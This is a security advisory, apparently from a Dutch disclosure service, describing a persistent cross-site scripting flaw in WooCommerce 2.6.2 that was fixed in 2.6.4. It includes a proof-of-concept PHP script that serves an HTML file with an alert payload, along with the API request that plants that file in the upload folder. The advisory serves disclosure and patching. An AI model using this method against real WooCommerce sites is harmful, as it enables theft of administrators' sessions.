Persistent Cross-Site Scripting in Woocommerce WordPress plugin

Abstract

A vulnerability exists in the Woocommerce API that allows for the creation of malicious HTML files when an image is downloaded from an attacker controlled URL.

OVE ID

OVE-20160719-0002

Tested versions

This issue was successfully tested on Woocommerce version 2.6.2.

Fix

This issue is resolved in Woocommerce version 2.6.4.

Introduction

Woocommerce is a WordPress plugin that offers a customizable eCommerce platform. A vulnerability exists in the Woocommerce API that allows for the creation of malicious HTML files when an image is downloaded from an attacker controlled URL. An attacker can perform a variety of actions if the HTML file is visited, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.

Details finding

The vulnerability exists in multiple places in the code. This description will use the code located at: /includes/api/legacy/v3/class-wc-api-products.php

The vulnerable method is called upload_image_from_url. This method is used for adding product and product category images from a URL. wp_check_filetype is used to retrieve a file type for the filename in the URL.

$wp_filetype 	= wp_check_filetype( $file_name, null );

wp_check_filetype checks if the file extension matches the array of extensions returned by wp_get_mime_types. wp_get_mime_types returns a big list of file types, including HTML and most image files. It does not include the PHP file extension.

If the file type cannot be determined by wp_check_filetype from the URL (for example, if the URL ends with .php), the code will retrieve the file from the server headers.

// Ensure we have a file name and type.
if ( ! $wp_filetype['type'] ) {
	$headers = wp_remote_retrieve_headers( $response );
	if ( isset( $headers['content-disposition'] ) && strstr( $headers['content-disposition'], 'filename=' ) ) {
		$disposition = end( explode( 'filename=', $headers['content-disposition'] ) );
		$disposition = sanitize_file_name( $disposition );
		$file_name   = $disposition;
	} elseif ( isset( $headers['content-type'] ) && strstr( $headers['content-type'], 'image/' ) ) {
		$file_name = 'image.' . str_replace( 'image/', '', $headers['content-type'] );
	}

The server now has control over the file name by setting the content-disposition header or by setting the content-type header to something like image/html. PHP files can not be created because the method wp_upload_bits will be called on the new file name, and the extension of the new file name must be included in the array returned by wp_get_mime_types.

Other files that contain the vulnerable code pattern are:

  • /woocommerce/includes/wc-rest-functions.php
  • /woocommerce/includes/cli/class-wc-cli-product.php
  • /woocommerce/includes/api/legacy/v3/class-wc-api-products.php
  • /woocommerce/includes/api/legacy/v2/class-wc-api-products.php

Because WordPress includes itself in the User Agent header when requesting the image, it's possible to an attacker to show images for normal users and to inject HTML files when the Woocommerce API does a request.

HTML files will not be included as a category image but will show up in the media library.

Proof of concept

This attack can be done when the called URL does not end in a file type included in wp_get_mime_types. For example, in the case where a popular image is shown by a PHP script.

On an external server, create a file called image.php with the following content:

<?php
header("content-disposition: filename=poc.html");
echo "<script>alert(1)</script>";
?>

Now perform a PUT request to: /wc-api/v3/products/categories/<valid id>?consumer_key=<key>&consumer_secret=<secret>

With the JSON content: {"product_category":{"image":"http://<external server>/image.php"}}

The category image will be empty, and a file poc.html will appear in the upload folder.

Vragen of feedback?